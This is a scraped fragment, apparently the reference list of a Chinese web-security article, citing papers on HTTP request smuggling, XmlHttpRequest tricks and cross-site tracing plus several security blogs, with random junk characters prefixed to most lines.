- j& w8 ~7 l9 H1 P* ]  E. l
7 p7 g) a8 q' j
# e+ i2 }% L, U- ]8 A

9 i: D9 F- f5 }) `/ l/ u

4 Q/ f3 |4 @1 c, D2 h8 d! A本文引用文档资料:

2 }9 h8 q8 L7 Q! j  C"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 i5 G5 x+ p+ F/ B) g5 N3 ZOther XmlHttpRequest tricks (Amit Klein, January 2003)
' V; i$ }# l6 u"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
! r; M7 N8 U' J! c8 W空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/